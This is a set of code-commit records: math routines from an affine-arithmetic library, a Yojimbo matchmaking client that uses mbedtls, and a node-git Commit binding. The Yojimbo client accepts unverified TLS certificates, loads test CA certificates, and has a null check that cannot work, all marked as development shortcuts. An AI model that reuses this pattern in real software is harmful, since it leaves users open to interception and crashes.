double eb = exp(b);\n    if((ea == INFINITY) || (eb == INFINITY)) {\n        \/\/ Printing from a numeric library is generally frowned apon,\n        \/\/ but what to do instead?  This corresponds to an essential \n        \/\/ singularity.\n        \/\/printf(\"essential infinity at %g, %g -> (%g, %g)\\n\", a, b, ea, eb);\n        return AAF(interval(-INFINITY, INFINITY));\n    }\n    \n    const double alpha = (eb-ea)\/(b-a);\n    \/\/ alpha is the slope of the line r(x) that\n    \/\/ interpolate (a, exp(a)) and (b, exp(b))\n    const double xs = log(alpha);\/\/ the x of the maximum error\n    const double maxdelta = alpha*(xs - 1 - a)+ea;\n\n    \/\/ dzeta calculation:\n    const double dzeta = alpha*(1 - xs);\n\n    \/\/ Calculation of the error\n    const double delta = maxdelta\/2;\n\n    return AAF(P, alpha, dzeta, delta, P.special);\n}\n\n\/\/ Logarithm operator\n\/\/ It's a non affine-operation\n\nAAF log(const AAF & P) {\n    handle_infinity(P); \/\/ infinity needs to map to NaN here\n\n    const double a = P.convert().left(); \/\/ [a,b] is our interval\n    const double b = P.convert().right();\n    \n    AAF_TYPE type;\n    if(a > 0)\n        type = AAF_TYPE_AFFINE;\n    else if(b < 0) { \/\/ no point in continuing\n        type = AAF_TYPE_NAN;\n        return AAF(type);\n    }\n    else if(a <= 0) { \/\/ undefined, can we do better?\n        type = (AAF_TYPE)(AAF_TYPE_AFFINE | AAF_TYPE_NAN);\n        return AAF(type);\n        \/\/ perhaps we should make a = 0+eps and try to continue?\n    }\n    \n    const double la = log(a);\n    const double lb = log(b);\n    \n    const double alpha = (lb-la)\/(b-a);\n    \/\/ alpha is the slope of the line r(x) that\n    \/\/ interpolate (a, exp(a)) and (b, exp(b))\n    const double xs = 1\/(alpha);\/\/ the x of the maximum error\n    const double ys = (alpha*(xs - a)+la);\n    const double maxdelta = log(xs) - ys;\n\n    \/\/ dzeta calculation:\n    const double dzeta = alpha*(-xs)+(log(xs)+ys)\/2;\n\n    \/\/ Calculation of the error\n    const double delta = maxdelta\/2;\n\n    return AAF(P, alpha, dzeta, delta, type);\n}\n\n\n\n\/*\n  Local Variables:\n  mode:c++\n  c-file-style:\"stroustrup\"\n  c-file-offsets:((innamespace . 0)(inline-open . 0))\n  indent-tabs-mode:nil\n  fill-column:80\n  End:\n*\/\n\n\n\/\/ vim: filetype=cpp:expandtab:shiftwidth=4:tabstop=8:softtabstop=4 :\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    Yojimbo Client\/Server Network Library.\n    \n    Copyright © 2016, The Network Protocol Company, Inc.\n\n    Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n\n        1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n\n        2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer \n           in the documentation and\/or other materials provided with the distribution.\n\n        3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived \n           from this software without specific prior written permission.\n\n    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n    INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n    SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR \n    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, \n    WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE\n    USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include \"yojimbo_matcher.h\"\n\n#include <mbedtls\/config.h>\n#include <mbedtls\/platform.h>\n#include <mbedtls\/net.h>\n#include <mbedtls\/debug.h>\n#include <mbedtls\/ssl.h>\n#include <mbedtls\/entropy.h>\n#include <mbedtls\/ctr_drbg.h>\n#include <mbedtls\/error.h>\n#include <mbedtls\/certs.h>\n\n#include \"rapidjson\/document.h\"\n#include \"rapidjson\/writer.h\"\n#include \"rapidjson\/stringbuffer.h\"\n\n#include \"sodium.h\"\n\nusing namespace rapidjson;\n\n#define SERVER_PORT \"8080\"\n#define SERVER_NAME \"localhost\"\n\nnamespace yojimbo\n{\n    struct MatcherInternal\n    {\n        mbedtls_net_context server_fd;\n        mbedtls_entropy_context entropy;\n        mbedtls_ctr_drbg_context ctr_drbg;\n        mbedtls_ssl_context ssl;\n        mbedtls_ssl_config conf;\n        mbedtls_x509_crt cacert;\n    };\n\n    Matcher::Matcher( Allocator & allocator )\n    {\n        m_allocator = &allocator;\n        m_initialized = false;\n        m_status = MATCHER_IDLE;\n        m_internal = YOJIMBO_NEW( allocator, MatcherInternal );\n    }\n\n    Matcher::~Matcher()\n    {\n        mbedtls_net_free( &m_internal->server_fd );\n        mbedtls_x509_crt_free( &m_internal->cacert );\n        mbedtls_ssl_free( &m_internal->ssl );\n        mbedtls_ssl_config_free( &m_internal->conf );\n        mbedtls_ctr_drbg_free( &m_internal->ctr_drbg );\n        mbedtls_entropy_free( &m_internal->entropy );\n\n        YOJIMBO_DELETE( *m_allocator, MatcherInternal, m_internal );\n    }\n\n    bool Matcher::Initialize()\n    {\n        const char * pers = \"yojimbo_client\";\n\n        mbedtls_net_init( &m_internal->server_fd );\n        mbedtls_ssl_init( &m_internal->ssl );\n        mbedtls_ssl_config_init( &m_internal->conf );\n        mbedtls_x509_crt_init( &m_internal->cacert );\n        mbedtls_ctr_drbg_init( &m_internal->ctr_drbg );\n        mbedtls_entropy_init( &m_internal->entropy );\n\n        int result;\n\n        if ( ( result = mbedtls_ctr_drbg_seed( &m_internal->ctr_drbg, mbedtls_entropy_func, &m_internal->entropy, (const unsigned char *) pers, strlen( pers ) ) ) != 0 )\n        {\n            return false;\n        }\n\n        if ( mbedtls_x509_crt_parse( &m_internal->cacert, (const unsigned char *) mbedtls_test_cas_pem, mbedtls_test_cas_pem_len ) < 0 )\n        {\n            return false;\n        }\n\n        m_initialized = true;\n\n        return true;\n    }\n\n    void Matcher::RequestMatch( uint32_t protocolId, uint64_t clientId )\n    {\n        assert( m_initialized );\n\n        int ret, len;\n        uint32_t flags;\n        char buf[4*1024];\n        char request[1024];\n\n        if ( ( ret = mbedtls_net_connect( &m_internal->server_fd, SERVER_NAME, SERVER_PORT, MBEDTLS_NET_PROTO_TCP ) ) != 0 )\n        {\n            m_status = MATCHER_FAILED;\n            goto cleanup;\n        }\n\n        if ( ( ret = mbedtls_ssl_config_defaults( &m_internal->conf,\n                        MBEDTLS_SSL_IS_CLIENT,\n                        MBEDTLS_SSL_TRANSPORT_STREAM,\n                        MBEDTLS_SSL_PRESET_DEFAULT ) ) != 0 )\n        {\n            m_status = MATCHER_FAILED;\n            return;\n        }\n\n        mbedtls_ssl_conf_authmode( &m_internal->conf, MBEDTLS_SSL_VERIFY_OPTIONAL );\n        mbedtls_ssl_conf_ca_chain( &m_internal->conf, &m_internal->cacert, NULL );\n        mbedtls_ssl_conf_rng( &m_internal->conf, mbedtls_ctr_drbg_random, &m_internal->ctr_drbg );\n\n        if( ( ret = mbedtls_ssl_setup( &m_internal->ssl, &m_internal->conf ) ) != 0 )\n        {\n            m_status = MATCHER_FAILED;\n            goto cleanup;\n        }\n\n        if ( ( ret = mbedtls_ssl_set_hostname( &m_internal->ssl, \"yojimbo\" ) ) != 0 )\n        {\n            m_status = MATCHER_FAILED;\n            goto cleanup;\n        }\n\n        mbedtls_ssl_set_bio( &m_internal->ssl, &m_internal->server_fd, mbedtls_net_send, mbedtls_net_recv, NULL );\n\n        while ( ( ret = mbedtls_ssl_handshake( &m_internal->ssl ) ) != 0 )\n        {\n            if ( ret != MBEDTLS_ERR_SSL_WANT_READ && ret != MBEDTLS_ERR_SSL_WANT_WRITE )\n            {\n                m_status = MATCHER_FAILED;\n                goto cleanup;\n            }\n        }\n\n        if ( ( flags = mbedtls_ssl_get_verify_result( &m_internal->ssl ) ) != 0 )\n        {\n            \/\/ could not verify certificate (eg. it is self-signed)\n\n            \/\/ IMPORTANT: this should be locked down #if YOJIMBO_SECURE\n        }\n\n        sprintf( request, \"GET \/match\/%d\/%\" PRIu64 \" HTTP\/1.0\\r\\n\\r\\n\", protocolId, clientId );\n\n        while ( ( ret = mbedtls_ssl_write( &m_internal->ssl, (uint8_t*) request, strlen( request ) ) ) <= 0 )\n        {\n            if ( ret != MBEDTLS_ERR_SSL_WANT_READ && ret != MBEDTLS_ERR_SSL_WANT_WRITE )\n            {\n                m_status = MATCHER_FAILED;\n                goto cleanup;\n            }\n        }\n\n        do\n        {\n            len = sizeof( buf ) - 1;\n            memset( buf, 0, sizeof( buf ) );\n            ret = mbedtls_ssl_read( &m_internal->ssl, (uint8_t*) buf, len );\n\n            if ( ret == MBEDTLS_ERR_SSL_WANT_READ || ret == MBEDTLS_ERR_SSL_WANT_WRITE )\n                continue;\n\n            if ( ret == MBEDTLS_ERR_SSL_PEER_CLOSE_NOTIFY )\n                break;\n\n            if ( ret <= 0 )\n                break;\n\n            const char * json = strstr( (const char*)buf, \"\\r\\n\\r\\n\" ) + 4;\n\n            if ( !json )\n                break;\n\n            if ( !ParseMatchResponse( json, m_matchResponse ) )\n            {\n                m_status = MATCHER_FAILED;\n                goto cleanup;\n            }\n\n            m_status = MATCHER_READY;\n\n            goto cleanup;\n        }\n        while( 1 );\n\n        m_status = MATCHER_FAILED;\n\n    cleanup:\n\n        mbedtls_ssl_close_notify( &m_internal->ssl );\n    }\n\n    MatcherStatus Matcher::GetStatus()\n    {\n        return m_status;\n    }\n\n    void Matcher::GetMatchResponse( MatchResponse & matchResponse )\n    {\n        matchResponse = ( m_status == MATCHER_READY ) ? m_matchResponse : MatchResponse();\n    }\n\n    static bool exists_and_is_string( Document & doc, const char * key )\n    {\n        return doc.HasMember( key ) && doc[key].IsString();\n    }\n\n    static bool exists_and_is_array( Document & doc, const char * key )\n    {\n        return doc.HasMember( key ) && doc[key].IsArray();\n    }\n\n    bool Matcher::ParseMatchResponse( const char * json, MatchResponse & matchResponse )\n    {\n        Document doc;\n        doc.Parse( json );\n        if ( doc.HasParseError() )\n            return false;\n\n        if ( !exists_and_is_string( doc, \"connectTokenData\" ) )\n            return false;\n\n        if ( !exists_and_is_string( doc, \"connectTokenNonce\" ) )\n            return false;\n\n        if ( !exists_and_is_array( doc, \"serverAddresses\" ) )\n            return false;\n\n        if ( !exists_and_is_string( doc, \"clientToServerKey\" ) )\n            return false;\n\n        if ( !exists_and_is_string( doc, \"serverToClientKey\" ) )\n            return false;\n\n        const char * encryptedConnectTokenBase64 = doc[\"connectTokenData\"].GetString();\n\n        int encryptedLength = base64_decode_data( encryptedConnectTokenBase64, matchResponse.connectTokenData, ConnectTokenBytes );\n\n        if ( encryptedLength != ConnectTokenBytes )\n            return false;        \n\n        uint64_t connectTokenNonce = atoll( doc[\"connectTokenNonce\"].GetString() );\n\n        memcpy( &matchResponse.connectTokenNonce, &connectTokenNonce, 8 );\n\n        matchResponse.numServerAddresses = 0;\n\n        const Value & serverAddresses = doc[\"serverAddresses\"];\n\n        if ( !serverAddresses.IsArray() )\n            return false;\n\n        for ( SizeType i = 0; i < serverAddresses.Size(); ++i )\n        {\n            if ( i >= MaxServersPerConnectToken )\n                return false;\n\n            if ( !serverAddresses[i].IsString() )\n                return false;\n\n            char serverAddress[MaxAddressLength];\n\n            base64_decode_string( serverAddresses[i].GetString(), serverAddress, sizeof( serverAddress ) );\n\n            matchResponse.serverAddresses[i] = Address( serverAddress );\n\n            if ( !matchResponse.serverAddresses[i].IsValid() )\n                return false;\n\n            matchResponse.numServerAddresses++;\n        }\n\n        const char * clientToServerKeyBase64 = doc[\"clientToServerKey\"].GetString();\n\n        const char * serverToClientKeyBase64 = doc[\"serverToClientKey\"].GetString();\n\n        if ( base64_decode_data( clientToServerKeyBase64, matchResponse.clientToServerKey, KeyBytes ) != KeyBytes )\n            return false;\n\n        if ( base64_decode_data( serverToClientKeyBase64, matchResponse.serverToClientKey, KeyBytes ) != KeyBytes )\n            return false;\n\n        return true;\n    }\n}\n<commit_msg>fix return instead of goto cleanup bug in matcher<commit_after>\/*\n    Yojimbo Client\/Server Network Library.\n    \n    Copyright © 2016, The Network Protocol Company, Inc.\n\n    Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n\n        1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n\n        2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer \n           in the documentation and\/or other materials provided with the distribution.\n\n        3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived \n           from this software without specific prior written permission.\n\n    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n    INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n    SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR \n    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, \n    WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE\n    USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include \"yojimbo_matcher.h\"\n\n#include <mbedtls\/config.h>\n#include <mbedtls\/platform.h>\n#include <mbedtls\/net.h>\n#include <mbedtls\/debug.h>\n#include <mbedtls\/ssl.h>\n#include <mbedtls\/entropy.h>\n#include <mbedtls\/ctr_drbg.h>\n#include <mbedtls\/error.h>\n#include <mbedtls\/certs.h>\n\n#include \"rapidjson\/document.h\"\n#include \"rapidjson\/writer.h\"\n#include \"rapidjson\/stringbuffer.h\"\n\n#include \"sodium.h\"\n\nusing namespace rapidjson;\n\n#define SERVER_PORT \"8080\"\n#define SERVER_NAME \"localhost\"\n\nnamespace yojimbo\n{\n    struct MatcherInternal\n    {\n        mbedtls_net_context server_fd;\n        mbedtls_entropy_context entropy;\n        mbedtls_ctr_drbg_context ctr_drbg;\n        mbedtls_ssl_context ssl;\n        mbedtls_ssl_config conf;\n        mbedtls_x509_crt cacert;\n    };\n\n    Matcher::Matcher( Allocator & allocator )\n    {\n        m_allocator = &allocator;\n        m_initialized = false;\n        m_status = MATCHER_IDLE;\n        m_internal = YOJIMBO_NEW( allocator, MatcherInternal );\n    }\n\n    Matcher::~Matcher()\n    {\n        mbedtls_net_free( &m_internal->server_fd );\n        mbedtls_x509_crt_free( &m_internal->cacert );\n        mbedtls_ssl_free( &m_internal->ssl );\n        mbedtls_ssl_config_free( &m_internal->conf );\n        mbedtls_ctr_drbg_free( &m_internal->ctr_drbg );\n        mbedtls_entropy_free( &m_internal->entropy );\n\n        YOJIMBO_DELETE( *m_allocator, MatcherInternal, m_internal );\n    }\n\n    bool Matcher::Initialize()\n    {\n        const char * pers = \"yojimbo_client\";\n\n        mbedtls_net_init( &m_internal->server_fd );\n        mbedtls_ssl_init( &m_internal->ssl );\n        mbedtls_ssl_config_init( &m_internal->conf );\n        mbedtls_x509_crt_init( &m_internal->cacert );\n        mbedtls_ctr_drbg_init( &m_internal->ctr_drbg );\n        mbedtls_entropy_init( &m_internal->entropy );\n\n        int result;\n\n        if ( ( result = mbedtls_ctr_drbg_seed( &m_internal->ctr_drbg, mbedtls_entropy_func, &m_internal->entropy, (const unsigned char *) pers, strlen( pers ) ) ) != 0 )\n        {\n            return false;\n        }\n\n        if ( mbedtls_x509_crt_parse( &m_internal->cacert, (const unsigned char *) mbedtls_test_cas_pem, mbedtls_test_cas_pem_len ) < 0 )\n        {\n            return false;\n        }\n\n        m_initialized = true;\n\n        return true;\n    }\n\n    void Matcher::RequestMatch( uint32_t protocolId, uint64_t clientId )\n    {\n        assert( m_initialized );\n\n        int ret, len;\n        uint32_t flags;\n        char buf[4*1024];\n        char request[1024];\n\n        if ( ( ret = mbedtls_net_connect( &m_internal->server_fd, SERVER_NAME, SERVER_PORT, MBEDTLS_NET_PROTO_TCP ) ) != 0 )\n        {\n            m_status = MATCHER_FAILED;\n            goto cleanup;\n        }\n\n        if ( ( ret = mbedtls_ssl_config_defaults( &m_internal->conf,\n                        MBEDTLS_SSL_IS_CLIENT,\n                        MBEDTLS_SSL_TRANSPORT_STREAM,\n                        MBEDTLS_SSL_PRESET_DEFAULT ) ) != 0 )\n        {\n            m_status = MATCHER_FAILED;\n            goto cleanup;\n        }\n\n        mbedtls_ssl_conf_authmode( &m_internal->conf, MBEDTLS_SSL_VERIFY_OPTIONAL );\n        mbedtls_ssl_conf_ca_chain( &m_internal->conf, &m_internal->cacert, NULL );\n        mbedtls_ssl_conf_rng( &m_internal->conf, mbedtls_ctr_drbg_random, &m_internal->ctr_drbg );\n\n        if( ( ret = mbedtls_ssl_setup( &m_internal->ssl, &m_internal->conf ) ) != 0 )\n        {\n            m_status = MATCHER_FAILED;\n            goto cleanup;\n        }\n\n        if ( ( ret = mbedtls_ssl_set_hostname( &m_internal->ssl, \"yojimbo\" ) ) != 0 )\n        {\n            m_status = MATCHER_FAILED;\n            goto cleanup;\n        }\n\n        mbedtls_ssl_set_bio( &m_internal->ssl, &m_internal->server_fd, mbedtls_net_send, mbedtls_net_recv, NULL );\n\n        while ( ( ret = mbedtls_ssl_handshake( &m_internal->ssl ) ) != 0 )\n        {\n            if ( ret != MBEDTLS_ERR_SSL_WANT_READ && ret != MBEDTLS_ERR_SSL_WANT_WRITE )\n            {\n                m_status = MATCHER_FAILED;\n                goto cleanup;\n            }\n        }\n\n        if ( ( flags = mbedtls_ssl_get_verify_result( &m_internal->ssl ) ) != 0 )\n        {\n            \/\/ could not verify certificate (eg. it is self-signed)\n\n            \/\/ IMPORTANT: this should be locked down #if YOJIMBO_SECURE\n        }\n\n        sprintf( request, \"GET \/match\/%d\/%\" PRIu64 \" HTTP\/1.0\\r\\n\\r\\n\", protocolId, clientId );\n\n        while ( ( ret = mbedtls_ssl_write( &m_internal->ssl, (uint8_t*) request, strlen( request ) ) ) <= 0 )\n        {\n            if ( ret != MBEDTLS_ERR_SSL_WANT_READ && ret != MBEDTLS_ERR_SSL_WANT_WRITE )\n            {\n                m_status = MATCHER_FAILED;\n                goto cleanup;\n            }\n        }\n\n        do\n        {\n            len = sizeof( buf ) - 1;\n            memset( buf, 0, sizeof( buf ) );\n            ret = mbedtls_ssl_read( &m_internal->ssl, (uint8_t*) buf, len );\n\n            if ( ret == MBEDTLS_ERR_SSL_WANT_READ || ret == MBEDTLS_ERR_SSL_WANT_WRITE )\n                continue;\n\n            if ( ret == MBEDTLS_ERR_SSL_PEER_CLOSE_NOTIFY )\n                break;\n\n            if ( ret <= 0 )\n                break;\n\n            const char * json = strstr( (const char*)buf, \"\\r\\n\\r\\n\" ) + 4;\n\n            if ( !json )\n                break;\n\n            if ( !ParseMatchResponse( json, m_matchResponse ) )\n            {\n                m_status = MATCHER_FAILED;\n                goto cleanup;\n            }\n\n            m_status = MATCHER_READY;\n\n            goto cleanup;\n        }\n        while( 1 );\n\n        m_status = MATCHER_FAILED;\n\n    cleanup:\n\n        mbedtls_ssl_close_notify( &m_internal->ssl );\n    }\n\n    MatcherStatus Matcher::GetStatus()\n    {\n        return m_status;\n    }\n\n    void Matcher::GetMatchResponse( MatchResponse & matchResponse )\n    {\n        matchResponse = ( m_status == MATCHER_READY ) ? m_matchResponse : MatchResponse();\n    }\n\n    static bool exists_and_is_string( Document & doc, const char * key )\n    {\n        return doc.HasMember( key ) && doc[key].IsString();\n    }\n\n    static bool exists_and_is_array( Document & doc, const char * key )\n    {\n        return doc.HasMember( key ) && doc[key].IsArray();\n    }\n\n    bool Matcher::ParseMatchResponse( const char * json, MatchResponse & matchResponse )\n    {\n        Document doc;\n        doc.Parse( json );\n        if ( doc.HasParseError() )\n            return false;\n\n        if ( !exists_and_is_string( doc, \"connectTokenData\" ) )\n            return false;\n\n        if ( !exists_and_is_string( doc, \"connectTokenNonce\" ) )\n            return false;\n\n        if ( !exists_and_is_array( doc, \"serverAddresses\" ) )\n            return false;\n\n        if ( !exists_and_is_string( doc, \"clientToServerKey\" ) )\n            return false;\n\n        if ( !exists_and_is_string( doc, \"serverToClientKey\" ) )\n            return false;\n\n        const char * encryptedConnectTokenBase64 = doc[\"connectTokenData\"].GetString();\n\n        int encryptedLength = base64_decode_data( encryptedConnectTokenBase64, matchResponse.connectTokenData, ConnectTokenBytes );\n\n        if ( encryptedLength != ConnectTokenBytes )\n            return false;        \n\n        uint64_t connectTokenNonce = atoll( doc[\"connectTokenNonce\"].GetString() );\n\n        memcpy( &matchResponse.connectTokenNonce, &connectTokenNonce, 8 );\n\n        matchResponse.numServerAddresses = 0;\n\n        const Value & serverAddresses = doc[\"serverAddresses\"];\n\n        if ( !serverAddresses.IsArray() )\n            return false;\n\n        for ( SizeType i = 0; i < serverAddresses.Size(); ++i )\n        {\n            if ( i >= MaxServersPerConnectToken )\n                return false;\n\n            if ( !serverAddresses[i].IsString() )\n                return false;\n\n            char serverAddress[MaxAddressLength];\n\n            base64_decode_string( serverAddresses[i].GetString(), serverAddress, sizeof( serverAddress ) );\n\n            matchResponse.serverAddresses[i] = Address( serverAddress );\n\n            if ( !matchResponse.serverAddresses[i].IsValid() )\n                return false;\n\n            matchResponse.numServerAddresses++;\n        }\n\n        const char * clientToServerKeyBase64 = doc[\"clientToServerKey\"].GetString();\n\n        const char * serverToClientKeyBase64 = doc[\"serverToClientKey\"].GetString();\n\n        if ( base64_decode_data( clientToServerKeyBase64, matchResponse.clientToServerKey, KeyBytes ) != KeyBytes )\n            return false;\n\n        if ( base64_decode_data( serverToClientKeyBase64, matchResponse.serverToClientKey, KeyBytes ) != KeyBytes )\n            return false;\n\n        return true;\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"commit.h\"\n\nPersistent<FunctionTemplate> Commit::constructor_template;\n\nvoid Commit::Init(Handle<Object> target) {\n\tHandleScope scope;\n\n\tLocal<FunctionTemplate> t = FunctionTemplate::New(New);\n\tconstructor_template = Persistent<FunctionTemplate>::New(t);\n\tconstructor_template->SetClassName(String::New(\"Commit\"));\n\tt->InstanceTemplate()->SetInternalFieldCount(1);\n\n\tNODE_SET_PROTOTYPE_METHOD(t, \"getTree\", GetTree);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"getParent\", GetParent);\n\t\/\/t->PrototypeTemplate()->SetAccessor(COMMIT_TREE_SYMBOL, TreeGetter);\n}\n\nHandle<Value> Commit::New(const Arguments& args) {\n\tHandleScope scope;\n\n\tREQ_ARGS(1);\n\tREQ_EXT_ARG(0, theCommit);\n\t\/\/REQ_EXT_ARG(1, theRepo);\n\n\tCommit *commit = new Commit();\n\tcommit->commit_ = (git_commit*)theCommit->Value();\n\t\/\/commit->repo_ = (Repository*)theRepo->Value();\n\n\t\/\/ Setup some basic info about this commit.\n\tconst char* oidStr = git_oid_allocfmt(git_commit_id(commit->commit_));\n\targs.This()->Set(String::New(\"id\"), String::New(oidStr), ReadOnly);\n\n\tconst char* message = git_commit_message(commit->commit_);\n\targs.This()->Set(String::New(\"message\"), String::New(message));\n\n\tconst char* shortMessage = git_commit_message_short(commit->commit_);\n\targs.This()->Set(String::New(\"shortMessage\"), String::New(shortMessage), ReadOnly);\n\n\ttime_t time = git_commit_time(commit->commit_);\n\targs.This()->Set(String::New(\"time\"), Date::New(static_cast<double>(time)*1000));\n\n\tconst git_signature *author;\n\tauthor = git_commit_author(commit->commit_);\n\tCREATE_PERSON_OBJ(authorObj, author);\n\targs.This()->Set(String::New(\"author\"), authorObj);\n\n\tconst git_signature *committer;\n\tcommitter = git_commit_committer(commit->commit_);\n\tCREATE_PERSON_OBJ(committerObj, committer);\n\targs.This()->Set(String::New(\"committer\"), committerObj);\n\n\tcommit->parentCount_ = git_commit_parentcount(commit->commit_);\n\n\/*\t\/\/ Setup the parents.\n\tHandle<ObjectTemplate> parentObjectTemplate = ObjectTemplate::New();\n\tparentObjectTemplate->SetInternalFieldCount(1);\n\tparentObjectTemplate->SetIndexedPropertyHandler(IndexedParentGetter);\n\n\tHandle<Object> parentsObject = parentObjectTemplate->NewInstance();\n\tparentsObject->SetInternalField(0, args.This());\n\tparentsObject->Set(String::New(\"length\"), Integer::New(commit->parentCount_));\n\n\targs.This()->Set(String::New(\"parents\"), parentsObject, ReadOnly);*\/\n\n\targs.This()->Set(String::New(\"parentCount\"), Integer::New(commit->parentCount_), ReadOnly);\n\n\tcommit->Wrap(args.This());\n\treturn args.This();\n}\n\nHandle<Value> Commit::GetTree(const Arguments& args) {\n\tHandleScope scope;\n\n\tCommit *commit = ObjectWrap::Unwrap<Commit>(args.This());\n\n\tconst git_tree *tree = git_commit_tree(commit->commit_);\n\n\tTree *treeObject = commit->repository_->wrapTree(const_cast<git_tree*>(tree));\n\treturn treeObject->handle_;\n}\n\nHandle<Value> Commit::GetParent(const Arguments& args) {\n\tHandleScope scope;\n\n\tCommit *commit = ObjectWrap::Unwrap<Commit>(args.This());\n\n\tREQ_ARGS(1);\n\tREQ_INT_ARG(0, index);\n\n\tif(index >= commit->parentCount_) {\n\t\treturn ThrowException(Exception::Error(String::New(\"Parent commit index is out of bounds.\")));\n\t}\n\n\tgit_commit *parent = git_commit_parent(commit->commit_, index);\n\tCommit *parentObject = commit->repository_->wrapCommit(parent);\n\treturn parentObject->handle_;\n}\n\nCommit::~Commit() {\n\t\/\/ TODO: don't think we ever need to free commits as they're handled by the repo, even newly created ones\n\t\/\/ (I think), probably need to look into this.\n}\n<commit_msg>cleanup<commit_after>#include \"commit.h\"\n\nPersistent<FunctionTemplate> Commit::constructor_template;\n\nvoid Commit::Init(Handle<Object> target) {\n\tHandleScope scope;\n\n\tLocal<FunctionTemplate> t = FunctionTemplate::New(New);\n\tconstructor_template = Persistent<FunctionTemplate>::New(t);\n\tconstructor_template->SetClassName(String::New(\"Commit\"));\n\tt->InstanceTemplate()->SetInternalFieldCount(1);\n\n\tNODE_SET_PROTOTYPE_METHOD(t, \"getTree\", GetTree);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"getParent\", GetParent);\n\t\/\/t->PrototypeTemplate()->SetAccessor(COMMIT_TREE_SYMBOL, TreeGetter);\n}\n\nHandle<Value> Commit::New(const Arguments& args) {\n\tHandleScope scope;\n\n\tREQ_ARGS(1);\n\tREQ_EXT_ARG(0, theCommit);\n\t\/\/REQ_EXT_ARG(1, theRepo);\n\n\tCommit *commit = new Commit();\n\tcommit->commit_ = (git_commit*)theCommit->Value();\n\t\/\/commit->repo_ = (Repository*)theRepo->Value();\n\n\t\/\/ Setup some basic info about this commit.\n\tconst char* oidStr = git_oid_allocfmt(git_commit_id(commit->commit_));\n\targs.This()->Set(String::New(\"id\"), String::New(oidStr), ReadOnly);\n\n\tconst char* message = git_commit_message(commit->commit_);\n\targs.This()->Set(String::New(\"message\"), String::New(message));\n\n\tconst char* shortMessage = git_commit_message_short(commit->commit_);\n\targs.This()->Set(String::New(\"shortMessage\"), String::New(shortMessage), ReadOnly);\n\n\ttime_t time = git_commit_time(commit->commit_);\n\targs.This()->Set(String::New(\"time\"), Date::New(static_cast<double>(time)*1000));\n\n\tconst git_signature *author;\n\tauthor = git_commit_author(commit->commit_);\n\tCREATE_PERSON_OBJ(authorObj, author);\n\targs.This()->Set(String::New(\"author\"), authorObj);\n\n\tconst git_signature *committer;\n\tcommitter = git_commit_committer(commit->commit_);\n\tCREATE_PERSON_OBJ(committerObj, committer);\n\targs.This()->Set(String::New(\"committer\"), committerObj);\n\n\tcommit->parentCount_ = git_commit_parentcount(commit->commit_);\n\n\targs.This()->Set(String::New(\"parentCount\"), Integer::New(commit->parentCount_), ReadOnly);\n\n\tcommit->Wrap(args.This());\n\treturn args.This();\n}\n\nHandle<Value> Commit::GetTree(const Arguments& args) {\n\tHandleScope scope;\n\n\tCommit *commit = ObjectWrap::Unwrap<Commit>(args.This());\n\n\tconst git_tree *tree = git_commit_tree(commit->commit_);\n\n\tTree *treeObject = commit->repository_->wrapTree(const_cast<git_tree*>(tree));\n\treturn treeObject->handle_;\n}\n\nHandle<Value> Commit::GetParent(const Arguments& args) {\n\tHandleScope scope;\n\n\tCommit *commit = ObjectWrap::Unwrap<Commit>(args.This());\n\n\tREQ_ARGS(1);\n\tREQ_INT_ARG(0, index);\n\n\tif(index >= commit->parentCount_) {\n\t\treturn ThrowException(Exception::Error(String::New(\"Parent commit index is out of bounds.\")));\n\t}\n\n\tgit_commit *parent = git_commit_parent(commit->commit_, index);\n\tCommit *parentObject = commit->repository_->wrapCommit(parent);\n\treturn parentObject->handle_;\n}\n\nCommit::~Commit() {\n\t\/\/ TODO: don't think we ever need to free commits as they're handled by the repo, even newly created ones\n\t\/\/ (I think), probably need to look into this.\n}\n<|endoftext|>"}
